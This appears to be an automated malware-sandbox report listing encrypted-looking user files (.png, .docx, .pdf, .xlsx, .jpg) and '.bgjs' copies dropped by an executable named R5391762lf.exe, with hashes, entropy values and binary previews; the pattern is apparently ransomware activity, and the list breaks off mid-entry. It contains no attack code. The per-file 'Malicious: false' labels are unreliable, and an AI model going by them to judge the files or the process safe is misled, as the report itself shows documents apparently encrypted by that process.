SHA1:	D3D790A8104E1E1DE73E95FC58839A3A9984086B
SHA-256:	80FD560D3ADF1CCE04B684F1B9F3DB61EB451688420DF180F0526A05C2A4BB28
SHA-512:	E2557D92C253EE5918DCDC03B0664141E65B9C61D3CE89DF627D06AD048920FB7045288F7EC0801B5A2BB14BE8C9E1CDFCD65B8DB017D35392329A3C3DF6942F
Malicious:	false
Preview:	PIVFAB...U..u3_$D{n..?...q.\h"...f...x][..%.........s.a~...s..k$.v..B.......\...Vc........."ts.\..qR....~.+,...P.=5.\|..:.oa@qW.&...,L./..t[.%=...1!.N....C.b...L..6..@c,c......2!.I>.$.f..}>k....}V$c.$q_.K..R.-.].=hr.L..........\|..]S .x.B8.:..e.l...P...W..XS.\|b.....-0j3&...f..g..LD....k .K..8.........a.........J....H.5y......VN....vx.w..W.p.x....`..4fF..d.../....6.~..n...7..G\|A..#....-.k8a5../=...O..Y..Q...O.....sA......5.....6W.....X.n7.Zs.c<h...-.......f.=n.....7.5W..X.....8..N.<.e.Q...>....S29../..}.6....]$.8....0..Z.o...3..V...zV...,.<...95A.../.bQ.8QA...;....F........C..M..M].;.....5...&.x .^..9.>~g.0.9{.VK....Q.{.s.Q...A@..b.;.#...j.,[.4:i.$[P..'..6yE...?...Co.vP.FNLm._/.k.\..E....RI.......l$."..V..l...R......\|.W..J-......`..1...G......g..<1..........G.n.....H.6&@......c.>...el%...3....=...#,.....l..oZ...XS.>.N..X...].\...3..,#.....6P2.(.t.7S.~X.z.aE(3a.._1.f.=J..........u...v...v1....T.^..#Z.&.....@b...H...j...t.;..5..P...

C:\Users\user\Documents\LSBIHQFDVT.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853621702252865
Encrypted:	false
SSDEEP:	24:KIam1gwnbbPbCB1w0ETxPPWe6HAAxgh5aR1kGkccVjcWuByxMGAkXq8uWbD:KIamqwn2BOThIHxgh5kSwUMiXFuED
MD5:	32AF3D4C443197B81C2BA86CEB64DDF2
SHA1:	D99C42812E2004A728CB98EE4ED4620DC0787D35
SHA-256:	704FB9FBE9E064C315714D6353EE8B50082F9C4DBCF567DECB7C6A712B3F2F13
SHA-512:	194A92815807F2BEE46D711DE7308B1E0CCF9F00FE257E5280C2692CA3CB1BF8B6AC26602139AC4BF6D02933E33B877049F4996F8037752F04B2F24E37E6C344
Malicious:	false
Preview:	LSBIH...a.J.^.......v.Y.p...R...j.].ol.R/.<I.lXm..b.B..L5.4.V.....K...J.....!?...y....H.}......8>..pq.F...J........@U...%D...xUnu.....h)...,.&. ...........!w.1T.....0(d..-....h.q\..Iu.f2.\|.-...p$..h..Ky.t>..U...;..V...&.P...S[....c9...~.0.e#X........i..8c..._.......3.:...$.=Mj..PZ...&...n;...b..n.....tUH.vGec.....!u....]..^.v."9.Dm.o..J....p...Cu.FG..8~S.e.R).V..XN.MH..P..W.k.I...../3.d.('.r.c..+j.C5.....,........:hj.b...3.g.)../..n.#..}......5....Eb...a..G..?Y....=u..Y".S.@f...V.....}P...t.@.-WkX.$}..WW)....@xI.......S"......R./..;..$.e.+....Z....-...z.Vg..%.........J.2.C.[z. .4...~Y.g.....&x.gj.o.g.8...<B4f....z!).:8?...x.....yz...U......`.....b3.B....C......GL7V7-Y.Z.rWn.x.../7$.uo\.d.6...^...ln..g.1M>...U..jN+C.U.t`2.......4}.~.F..nn.`.........g..=\...o).(..\.M...U...:../Z.J......AaK.t<'V....xv.L,.....\|&q..A.)...2..?....(...}.....2.^!@N...*$.8.x.%.....c.Z....\|..;.....~A.....MP^..........W...b6.2=O..;s.h.f...Q$..8.j...a[

C:\Users\user\Documents\LSBIHQFDVT.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853621702252865
Encrypted:	false
SSDEEP:	24:KIam1gwnbbPbCB1w0ETxPPWe6HAAxgh5aR1kGkccVjcWuByxMGAkXq8uWbD:KIamqwn2BOThIHxgh5kSwUMiXFuED
MD5:	32AF3D4C443197B81C2BA86CEB64DDF2
SHA1:	D99C42812E2004A728CB98EE4ED4620DC0787D35
SHA-256:	704FB9FBE9E064C315714D6353EE8B50082F9C4DBCF567DECB7C6A712B3F2F13
SHA-512:	194A92815807F2BEE46D711DE7308B1E0CCF9F00FE257E5280C2692CA3CB1BF8B6AC26602139AC4BF6D02933E33B877049F4996F8037752F04B2F24E37E6C344
Malicious:	false
Preview:	LSBIH...a.J.^.......v.Y.p...R...j.].ol.R/.<I.lXm..b.B..L5.4.V.....K...J.....!?...y....H.}......8>..pq.F...J........@U...%D...xUnu.....h)...,.&. ...........!w.1T.....0(d..-....h.q\..Iu.f2.\|.-...p$..h..Ky.t>..U...;..V...&.P...S[....c9...~.0.e#X........i..8c..._.......3.:...$.=Mj..PZ...&...n;...b..n.....tUH.vGec.....!u....]..^.v."9.Dm.o..J....p...Cu.FG..8~S.e.R).V..XN.MH..P..W.k.I...../3.d.('.r.c..+j.C5.....,........:hj.b...3.g.)../..n.#..}......5....Eb...a..G..?Y....=u..Y".S.@f...V.....}P...t.@.-WkX.$}..WW)....@xI.......S"......R./..;..$.e.+....Z....-...z.Vg..%.........J.2.C.[z. .4...~Y.g.....&x.gj.o.g.8...<B4f....z!).:8?...x.....yz...U......`.....b3.B....C......GL7V7-Y.Z.rWn.x.../7$.uo\.d.6...^...ln..g.1M>...U..jN+C.U.t`2.......4}.~.F..nn.`.........g..=\...o).(..\.M...U...:../Z.J......AaK.t<'V....xv.L,.....\|&q..A.)...2..?....(...}.....2.^!@N...*$.8.x.%.....c.Z....\|..;.....~A.....MP^..........W...b6.2=O..;s.h.f...Q$..8.j...a[

C:\Users\user\Documents\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846863110486851
Encrypted:	false
SSDEEP:	24:fHsUoX/b5DcaC4xV+iKJP///Pgs2QTrNyMh9xb7Vku9nXq8uWbD:fMtbbC4xdIPgVqZNhWu9nXFuED
MD5:	964205DC39D7D0EBC6B9216269E704E8
SHA1:	C8713639FB0E554DFD45EB1A64B310045621744D
SHA-256:	E952CFE5A0A209F308635C8A24F1E773FD7C632659C11250E6D99B1ECF6EA350
SHA-512:	514FD14F9EF316C8FF49146B4792C8666FBEF897C8A8F63216F408E35F32C25D2063883C98CB6BA727D957EA90EB950ADCA133B36998A2778F1ED1EA17EDCA24
Malicious:	false
Preview:	MXPXC.zSf`..}.Q..4kl6h..z..K.\>C.h.S.LG..!..U..o..Mk..dS.o.@.^8.pq/M...h.."O..6..h\|!.mER...).....6.`...:[R.......+.d.[.g..b..0./.N.K2.. ./$".e"%..m.0...M6....s..B.vb....y.T...y...d.../O[..7...t2..l.................o/.#....?...a. dP..?.Q>DxY...1R.'..H.Gv+.ma.......<....w.\..?....~.eT.sM#.RZ..X..j......?...K..N.S.QM.8..`.....T.Q/............!..a.(...K. .~..~l...V:._.F.......^.qF.(.Z ....Y.i.\.1...kO.)....(.hZ!#'.o...(.-*...F.....$R..4Y...tD}...Z..h-..\|.G.l.'.h..0..&...!V.W4./.A.0.....?...yI-p..I...A..n!.....].....\|Z+....%.../D..q..,...Ds.@7#.v.hW....z.(.VL .....+6#Md...'.7.6..G_..P}.#....b.`m.=l.5cN........(N;w5_.'..$n.Re0..dz}......WQO.Q[.K.c........J....#'.{-..uk......9K5>.k..Y......^....d.....e...X..8.P.....+.\........9)..?.?/..O'-,...C1.T."a..T=....k.pk.,.....V..&13....l..H.m:x.h...Y,.bW..B:0F....w...C.:.[.l.'V...3..7.T...v......w\|.K.U$./..n=....Up....!Y.vb.d2I5.9........U.'.sBEE..].8U6xmg8 ....L..:}.,}].KPs6.O/.....K{...E..

C:\Users\user\Documents\MXPXCVPDVN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846863110486851
Encrypted:	false
SSDEEP:	24:fHsUoX/b5DcaC4xV+iKJP///Pgs2QTrNyMh9xb7Vku9nXq8uWbD:fMtbbC4xdIPgVqZNhWu9nXFuED
MD5:	964205DC39D7D0EBC6B9216269E704E8
SHA1:	C8713639FB0E554DFD45EB1A64B310045621744D
SHA-256:	E952CFE5A0A209F308635C8A24F1E773FD7C632659C11250E6D99B1ECF6EA350
SHA-512:	514FD14F9EF316C8FF49146B4792C8666FBEF897C8A8F63216F408E35F32C25D2063883C98CB6BA727D957EA90EB950ADCA133B36998A2778F1ED1EA17EDCA24
Malicious:	false
Preview:	MXPXC.zSf`..}.Q..4kl6h..z..K.\>C.h.S.LG..!..U..o..Mk..dS.o.@.^8.pq/M...h.."O..6..h\|!.mER...).....6.`...:[R.......+.d.[.g..b..0./.N.K2.. ./$".e"%..m.0...M6....s..B.vb....y.T...y...d.../O[..7...t2..l.................o/.#....?...a. dP..?.Q>DxY...1R.'..H.Gv+.ma.......<....w.\..?....~.eT.sM#.RZ..X..j......?...K..N.S.QM.8..`.....T.Q/............!..a.(...K. .~..~l...V:._.F.......^.qF.(.Z ....Y.i.\.1...kO.)....(.hZ!#'.o...(.-*...F.....$R..4Y...tD}...Z..h-..\|.G.l.'.h..0..&...!V.W4./.A.0.....?...yI-p..I...A..n!.....].....\|Z+....%.../D..q..,...Ds.@7#.v.hW....z.(.VL .....+6#Md...'.7.6..G_..P}.#....b.`m.=l.5cN........(N;w5_.'..$n.Re0..dz}......WQO.Q[.K.c........J....#'.{-..uk......9K5>.k..Y......^....d.....e...X..8.P.....+.\........9)..?.?/..O'-,...C1.T."a..T=....k.pk.,.....V..&13....l..H.m:x.h...Y,.bW..B:0F....w...C.:.[.l.'V...3..7.T...v......w\|.K.U$./..n=....Up....!Y.vb.d2I5.9........U.'.sBEE..].8U6xmg8 ....L..:}.,}].KPs6.O/.....K{...E..

C:\Users\user\Documents\MXPXCVPDVN\IPKGELNTQY.pdf

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865573491726882
Encrypted:	false
SSDEEP:	24:0F4ORj3Nt98BlMtYOTOLr6ObcjoeogYT61jDEKjzA9ryDyKLWXq8uWbD:wF3NtuYtjiLr6poT61jDxjcgyQWXFuED
MD5:	5F08E0216C95E55176912FD6515A9A54
SHA1:	70365F70EEDF89B0BDB900B0ACA0D6070C3A7FCC
SHA-256:	284FB3A69E0F10279F7DFA836BE3E2794DFEF7B076661FF213649986EC6CD574
SHA-512:	FFBB745A300AD2DFD04A0794CCED259BBB8B53CFF4197E62F0F77E91AA7396470D3A77A13230680565B5435AE1D8EA3BFF78B9C0F507DF434096F75E81EFB6D8
Malicious:	false
Preview:	IPKGE...x...l.;..-1.,.G.........W.J..B/.....:....pa.~M/A.V[%#...$.y....a[...JUjQi....b.....0.....X..N.. .......63.~.p.t...a.t..@.Z...w.w-..n(.K.{x~c.^g.d.....!e#N.....'...._.....,?....wj\|.7......a..Z..Z.p.....i..x7+;..NX...vWM.n&.m.j...\|....$n....d...m.f.s...&.......jq.=&.....I..#W.S.....J..F9..M..F.....u........0.q.GG......v..R.\.o._.Z..r!.....`.a.A..........v.B._..+.S..p..V..~...?..)....!.t.......X.t.....\p4E>..~..-Y.(..#aa%..?..t2Ok.A`<.....[.~..1...vk.?.9E....].w..g...>.[.Rd.qq........%...C.....F..F.G..b.......O..dr.:J&.MW....._..t4.....B"H..<..E..<!.....RC.x2..92...1.}.....4.i.M.o.k...>.n..aA..t~.F]...}\|...{..@t@p..;T.^........Uo2).<T.msm.....G....a8"..}B.D.".{.J<..\...R..O.gQ#...H.5":..h...n...L.:.A(.;P'.6..9b.).Is....T.qL0k.f.Z{?..[z...M.&.q....j..s....Z..Z.......F...m^..F=8...l......C......p.a....q..u.....\|..6.W.....m..Q8...?.?!h....v.F.x.U.@...$S.u....;.:...F...s$...R.V.A........;..hb<.g....C..]..-..\|c......T$.}........`T.'

C:\Users\user\Documents\MXPXCVPDVN\IPKGELNTQY.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865573491726882
Encrypted:	false
SSDEEP:	24:0F4ORj3Nt98BlMtYOTOLr6ObcjoeogYT61jDEKjzA9ryDyKLWXq8uWbD:wF3NtuYtjiLr6poT61jDxjcgyQWXFuED
MD5:	5F08E0216C95E55176912FD6515A9A54
SHA1:	70365F70EEDF89B0BDB900B0ACA0D6070C3A7FCC
SHA-256:	284FB3A69E0F10279F7DFA836BE3E2794DFEF7B076661FF213649986EC6CD574
SHA-512:	FFBB745A300AD2DFD04A0794CCED259BBB8B53CFF4197E62F0F77E91AA7396470D3A77A13230680565B5435AE1D8EA3BFF78B9C0F507DF434096F75E81EFB6D8
Malicious:	false
Preview:	IPKGE...x...l.;..-1.,.G.........W.J..B/.....:....pa.~M/A.V[%#...$.y....a[...JUjQi....b.....0.....X..N.. .......63.~.p.t...a.t..@.Z...w.w-..n(.K.{x~c.^g.d.....!e#N.....'...._.....,?....wj\|.7......a..Z..Z.p.....i..x7+;..NX...vWM.n&.m.j...\|....$n....d...m.f.s...&.......jq.=&.....I..#W.S.....J..F9..M..F.....u........0.q.GG......v..R.\.o._.Z..r!.....`.a.A..........v.B._..+.S..p..V..~...?..)....!.t.......X.t.....\p4E>..~..-Y.(..#aa%..?..t2Ok.A`<.....[.~..1...vk.?.9E....].w..g...>.[.Rd.qq........%...C.....F..F.G..b.......O..dr.:J&.MW....._..t4.....B"H..<..E..<!.....RC.x2..92...1.}.....4.i.M.o.k...>.n..aA..t~.F]...}\|...{..@t@p..;T.^........Uo2).<T.msm.....G....a8"..}B.D.".{.J<..\...R..O.gQ#...H.5":..h...n...L.:.A(.;P'.6..9b.).Is....T.qL0k.f.Z{?..[z...M.&.q....j..s....Z..Z.......F...m^..F=8...l......C......p.a....q..u.....\|..6.W.....m..Q8...?.?!h....v.F.x.U.@...$S.u....;.:...F...s$...R.V.A........;..hb<.g....C..]..-..\|c......T$.}........`T.'

C:\Users\user\Documents\MXPXCVPDVN\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830212861763158
Encrypted:	false
SSDEEP:	24:zr4lUQDJlufOzfwYi/LrsRGIosUpgcGsIF0g34aSlX2vU9GzgOt0S6/Xq8uWbD:nFQVluf7YijrFvsUpbeFCR9GcJ/XFuED
MD5:	79A7E7E442E4E063F2424DC7FE104C76
SHA1:	7606878CC683AEC44EE55D0E878F7395A73ABE48
SHA-256:	57C25CF207904785BA817B7B8E95F3A9BE1BCC18B51712D344CB9C0F0E2CA7F3
SHA-512:	FD2DA710E94D64B59E7B6DE50BFE5FADBA6F683920797F060295A31C6F32BF8E0604856B7E6383E7823F9AC8541B93F9A6A824B2831A5F88A7A267F36D27A149
Malicious:	false
Preview:	MXPXCw.Z.j....M..@H.q{..5.:.Ay.A...wz.w.56?.........do.rC.......g7.J....UXK...4y3...'F..xr.....?%[j...p.h........O.....\|....\|.X..H...+..Y....{.5.D...{.53`e..eb.Q.N.a.1U>....\\|...............Nz.]..1...l.0M.Z. '..#.#.,..3(..d..q...n...../..3..)}.....g.->.g[J%.9...N!.4.Y....,].m.."....\|........l0.R)b]..6....[.=~.M......n....k7..6.;..:..wq.{I..{vk}...`.c5(.....k...f..-t'4......T.......8W.(.?...D/...g...u......7b...+"c&`...bZ4A57.I.:..Wd.b.....Q.w.j...d.......hX.6..)./.#4..~.......v'......@.........:7Hy...-o..TgN....k2(][..>...7XE[..b+......O....>....pz.o..'.....=.....X..v.J..y.?<...N........u...lA..$.h..'B5.S....sf.........1l.. ..[X..#. .q..W..<O....-#+G.c.A2(....r.<..t..i.2..X'....E..........(...l_..[bT.^x6....u.T.`..Y......._q.J.7.AFp....^.......+T.=%.H..9.E~j....^...C.O....5<.)t..}..^H....}'......m....O...ut.....BS.\...O....._a..S$....b-.i2....X..%......+.w...A.D........%.@....(k...0`...s.u....s....L.2.6.%..R.H...9w...W.=..D.{U.

C:\Users\user\Documents\MXPXCVPDVN\MXPXCVPDVN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830212861763158
Encrypted:	false
SSDEEP:	24:zr4lUQDJlufOzfwYi/LrsRGIosUpgcGsIF0g34aSlX2vU9GzgOt0S6/Xq8uWbD:nFQVluf7YijrFvsUpbeFCR9GcJ/XFuED
MD5:	79A7E7E442E4E063F2424DC7FE104C76
SHA1:	7606878CC683AEC44EE55D0E878F7395A73ABE48
SHA-256:	57C25CF207904785BA817B7B8E95F3A9BE1BCC18B51712D344CB9C0F0E2CA7F3
SHA-512:	FD2DA710E94D64B59E7B6DE50BFE5FADBA6F683920797F060295A31C6F32BF8E0604856B7E6383E7823F9AC8541B93F9A6A824B2831A5F88A7A267F36D27A149
Malicious:	false
Preview:	MXPXCw.Z.j....M..@H.q{..5.:.Ay.A...wz.w.56?.........do.rC.......g7.J....UXK...4y3...'F..xr.....?%[j...p.h........O.....\|....\|.X..H...+..Y....{.5.D...{.53`e..eb.Q.N.a.1U>....\\|...............Nz.]..1...l.0M.Z. '..#.#.,..3(..d..q...n...../..3..)}.....g.->.g[J%.9...N!.4.Y....,].m.."....\|........l0.R)b]..6....[.=~.M......n....k7..6.;..:..wq.{I..{vk}...`.c5(.....k...f..-t'4......T.......8W.(.?...D/...g...u......7b...+"c&`...bZ4A57.I.:..Wd.b.....Q.w.j...d.......hX.6..)./.#4..~.......v'......@.........:7Hy...-o..TgN....k2(][..>...7XE[..b+......O....>....pz.o..'.....=.....X..v.J..y.?<...N........u...lA..$.h..'B5.S....sf.........1l.. ..[X..#. .q..W..<O....-#+G.c.A2(....r.<..t..i.2..X'....E..........(...l_..[bT.^x6....u.T.`..Y......._q.J.7.AFp....^.......+T.=%.H..9.E~j....^...C.O....5<.)t..}..^H....}'......m....O...ut.....BS.\...O....._a..S$....b-.i2....X..%......+.w...A.D........%.@....(k...0`...s.u....s....L.2.6.%..R.H...9w...W.=..D.{U.

C:\Users\user\Documents\MXPXCVPDVN\SFPUSAFIOL.xlsx

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860653704318553
Encrypted:	false
SSDEEP:	24:DeZARWsKVEIsWIHrWJRlxXhCR6T9cJCe4jUFPiNr17kfyIJ2ICwKW+zG5HCXq8uQ:DKBVEbWmMU6Le4j+PIM27wKWqXFuED
MD5:	1C3677D9DAA4C40DAAA95B02BC0A684F
SHA1:	F45D87E726B71626178A9C9457848BE5D877C712
SHA-256:	8C3A3FDCF06B5D093E2640B65904C8FC55B39D142CC414D252CCEAF1B4A97CDE
SHA-512:	3C999BB8FDE12B9190A99A0496DD01BA0B9A893827223E2EE22A8163B7082FC868B81B3E9A464260A34C4AB2B7E248E2263F64CABF21B550024E894DD34129CC
Malicious:	false
Preview:	SFPUS....>....B..{F.'..y..4Ns..F..?...~..B!..)j.N{..V.sMK...'....YK...~..njh.S.\|..7mLu.@..6..S'.<+.......].Y.vD.j+.(J...[F....xi(>.i..-.^..T.z~....(.(..&R........1..}.h....Y...2......1.V..5.C..Vq3)..`.!.T.:...}..5....H...X....u.{b.Q..R.).......+.....PQ.7.$..SB.[...~)......-....r._..8....:....__w..)..N./j.sg.JC..;.i..~...y....d.T..819%5....p..=.ag.S0......HXU.x]Z.Qs..>....}.@h....a...........h.I.C....\|^r....o...G.%...`..G.`.E..z>....!.k..x.v..9.......^.Xq.!0.......b.M._b.:mb.Uj.....{[......<2.....@.\Tc0u .......g...[8......v.I."-..;..W.K..........i.B...:lV.?....6.b.$7Kl...!.D...o..[.%,.....C..q.....G....D..E...\..vH.S....D..9_.7x/...0..f./..!....z..Xa.M........~.....F.b......\|...E.......U.[...<.O.....8..\|.C...F.........mJ.LwJ..c.#eN\.$/HS.../j....W4.~Y.`..V.Ya..pu../.}.()..h..!....2.#@.j8.,....".t.wwq....!........K......F2W..=....d..}....PU.K.Q7....ey`.)....Q.W2.=....fvU...]..Y...p.g..Z..`\...O.n.O.0N#.;..p..hz.-/...T.a=.X...

C:\Users\user\Documents\MXPXCVPDVN\SFPUSAFIOL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860653704318553
Encrypted:	false
SSDEEP:	24:DeZARWsKVEIsWIHrWJRlxXhCR6T9cJCe4jUFPiNr17kfyIJ2ICwKW+zG5HCXq8uQ:DKBVEbWmMU6Le4j+PIM27wKWqXFuED
MD5:	1C3677D9DAA4C40DAAA95B02BC0A684F
SHA1:	F45D87E726B71626178A9C9457848BE5D877C712
SHA-256:	8C3A3FDCF06B5D093E2640B65904C8FC55B39D142CC414D252CCEAF1B4A97CDE
SHA-512:	3C999BB8FDE12B9190A99A0496DD01BA0B9A893827223E2EE22A8163B7082FC868B81B3E9A464260A34C4AB2B7E248E2263F64CABF21B550024E894DD34129CC
Malicious:	false
Preview:	SFPUS....>....B..{F.'..y..4Ns..F..?...~..B!..)j.N{..V.sMK...'....YK...~..njh.S.\|..7mLu.@..6..S'.<+.......].Y.vD.j+.(J...[F....xi(>.i..-.^..T.z~....(.(..&R........1..}.h....Y...2......1.V..5.C..Vq3)..`.!.T.:...}..5....H...X....u.{b.Q..R.).......+.....PQ.7.$..SB.[...~)......-....r._..8....:....__w..)..N./j.sg.JC..;.i..~...y....d.T..819%5....p..=.ag.S0......HXU.x]Z.Qs..>....}.@h....a...........h.I.C....\|^r....o...G.%...`..G.`.E..z>....!.k..x.v..9.......^.Xq.!0.......b.M._b.:mb.Uj.....{[......<2.....@.\Tc0u .......g...[8......v.I."-..;..W.K..........i.B...:lV.?....6.b.$7Kl...!.D...o..[.%,.....C..q.....G....D..E...\..vH.S....D..9_.7x/...0..f./..!....z..Xa.M........~.....F.b......\|...E.......U.[...<.O.....8..\|.C...F.........mJ.LwJ..c.#eN\.$/HS.../j....W4.~Y.`..V.Ya..pu../.}.()..h..!....2.#@.j8.,....".t.wwq....!........K......F2W..=....d..}....PU.K.Q7....ey`.)....Q.W2.=....fvU...]..Y...p.g..Z..`\...O.n.O.0N#.;..p..hz.-/...T.a=.X...

C:\Users\user\Documents\NEBFQQYWPS.jpg

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829712941543611
Encrypted:	false
SSDEEP:	24:vIizjVaGeH7lH/JEDutLQIvfOy5o465VThp3afh1Td3sn4UeZ7ePS1gRJsKXq8uQ:BzjVobp/yDnIvbOn7sFGUZ7uS1gRiKXp
MD5:	8557273AB25F51B603ABC93D45B73285
SHA1:	13D5A8C8E444417FE37886E14BC6B3E0AB689203
SHA-256:	EEEA90525675723915E5FE446D8E3EDD88E5932542F097462E8743CF8222B925
SHA-512:	4B6D209BD445E11B7F76D091987279C5736313C24DA54C549D02AC14C988C3397A34F9DFE062E241E92A66661D0535999F7AC7CC19B8C407FB6E9AFDC5263B2E
Malicious:	false
Preview:	NEBFQw.%.Q-q..q0....M.(!.!...&Px.T...G.Q.Ue.....6.....BGn1...s..!.....DNN.D......U..r.\.P..O..-.....-8....3.P..a.....Y.!.T...C....J..z.Q.,..........3'......9%..<.#.K;.<..D......u..B6..N..x...../r...7V..-bL.......G..u.(...s.-.#H.)..4T.......%e...8jf..8.LklP.....1.j..]...r.T.D...89.#..'P.!~.w!...C,.:..g#.%...[...".".?...6#.m..P0X...E.YP.~..D..q....5._o=_,...u..t..Y...R..s..e.RF.49Fq..b_5..;...;q.G;.2..).(.aT.e....^>u.......]0 .D_..3./.P*e..n-HYpo....$...&KuI\......%C...s%....IQ...3..$..&.8.A......L...o.3............u%.>....P.M..(2:..q........E.....v..#.%..ohA.H.#Egc..<{!\|...q....DO...#.....s.R.-p..:......Wh...NL..7&!M....-..>.....A,.n...qD../.s.........3.b.co\1........{.X.[..Y7'.H..f.O)i...j..{<a,%..m%......Q...W....b.q.'e4.E...r.K..`......(...g.Y.....<.+..~G...m.4b......-m0bL~.\|.....7.....H.].Q....l..Q......C..tU.qfA....n.T..;.AD.s.x.IpVQ....v....w.I....1I...e).D..`f_>..S...K.A..J.....&..a....h...^5.K\|M...ro.F.r.......9.VF...U.LU/:a[..\n...(.x.. w

C:\Users\user\Documents\NEBFQQYWPS.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829712941543611
Encrypted:	false
SSDEEP:	24:vIizjVaGeH7lH/JEDutLQIvfOy5o465VThp3afh1Td3sn4UeZ7ePS1gRJsKXq8uQ:BzjVobp/yDnIvbOn7sFGUZ7uS1gRiKXp
MD5:	8557273AB25F51B603ABC93D45B73285
SHA1:	13D5A8C8E444417FE37886E14BC6B3E0AB689203
SHA-256:	EEEA90525675723915E5FE446D8E3EDD88E5932542F097462E8743CF8222B925
SHA-512:	4B6D209BD445E11B7F76D091987279C5736313C24DA54C549D02AC14C988C3397A34F9DFE062E241E92A66661D0535999F7AC7CC19B8C407FB6E9AFDC5263B2E
Malicious:	false
Preview:	NEBFQw.%.Q-q..q0....M.(!.!...&Px.T...G.Q.Ue.....6.....BGn1...s..!.....DNN.D......U..r.\.P..O..-.....-8....3.P..a.....Y.!.T...C....J..z.Q.,..........3'......9%..<.#.K;.<..D......u..B6..N..x...../r...7V..-bL.......G..u.(...s.-.#H.)..4T.......%e...8jf..8.LklP.....1.j..]...r.T.D...89.#..'P.!~.w!...C,.:..g#.%...[...".".?...6#.m..P0X...E.YP.~..D..q....5._o=_,...u..t..Y...R..s..e.RF.49Fq..b_5..;...;q.G;.2..).(.aT.e....^>u.......]0 .D_..3./.P*e..n-HYpo....$...&KuI\......%C...s%....IQ...3..$..&.8.A......L...o.3............u%.>....P.M..(2:..q........E.....v..#.%..ohA.H.#Egc..<{!\|...q....DO...#.....s.R.-p..:......Wh...NL..7&!M....-..>.....A,.n...qD../.s.........3.b.co\1........{.X.[..Y7'.H..f.O)i...j..{<a,%..m%......Q...W....b.q.'e4.E...r.K..`......(...g.Y.....<.+..~G...m.4b......-m0bL~.\|.....7.....H.].Q....l..Q......C..tU.qfA....n.T..;.AD.s.x.IpVQ....v....w.I....1I...e).D..`f_>..S...K.A..J.....&..a....h...^5.K\|M...ro.F.r.......9.VF...U.LU/:a[..\n...(.x.. w

C:\Users\user\Documents\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.811988945155801
Encrypted:	false
SSDEEP:	24:a8zOWGhqPbx7S+HkfsZk549auxhZ/hFA3lU54HTDvJBqA76EQrKKlU/NdgCkrDXp:a8zemdO7fsZQwauxhdLqlU54n7qA7XHY
MD5:	0D6AC5968052ADC9614EE082E898A077
SHA1:	E0C85B9A90EF6F69049A0D1330767E89197045FC
SHA-256:	27B0B9675F0985C571ED92F56452F73BB882FF5732CFA27516159AD5634111CF
SHA-512:	C0C29AF7121647E22F8B7EF207AFD52CE68E7DA3FEF391F520C4FB22B92A3468628FB48949AC1A768BF813DD40D7293BFB7B600A60E84C7B8EC6207BE82BC646
Malicious:	false
Preview:	NEBFQ.)...a.b.....5O....d.OFzo6.U.......0N3x.g.b@...58Q.\...L.QbG...X-.4t(..>M..c)>d.`.j....X{.xi..........c.S; cU.%KKD6.T.E"~F...6.......a......].\KZb...1`.\...g....s...f..Ig.)\|.... ..s<.L.......~n.'.U.%J..hq...z...b5$....a....e.c.\..9.4.+.q..d..r..a#.J.N.v_.5..i.=@..~....K......[b.Q..;6..\|..>._..U..m:...S...f...6Y..G .9a]n.=..g.....\|..h..E.B..._.dm.O.z.T.....`(..<<.=%d\Ko..S.r<...j" ..y.......J8KS....c/.2 W..q..`..P.<SR..N.......#.....`...`......I.W./.#e../&.....p<#'^....Vn$W(...=."U!..[.k..M_....u...A....i...U1..H...n..Tq..>Ns.]...VsM.t7...p..;..~.i./..<...h,.d...GA...x../.....g.......QA.nZ..7..0..}.......\c..*.i(..:..F._.{..4p..0o...eb.`.4. rP..<9.[..g..&..@.79..G.s.A3........9T.N.$..=..!.,...7G...,0q.+A.N..y%Ov.;P....1.`1...o..z...OL..\|.y....^3.5!l.......Y..Y:...M.?....../=o.W....}x.]RA...G..c.{&..>..`q.R6...f.Y.#../.P.c..1.....8...[.DT.O...+..[Sn>...c.2..\|..byx.BE...t....an.{_.#gNK.........5..">.J.. $.s.0~..... .T....,.d\|....

C:\Users\user\Documents\NEBFQQYWPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.811988945155801
Encrypted:	false
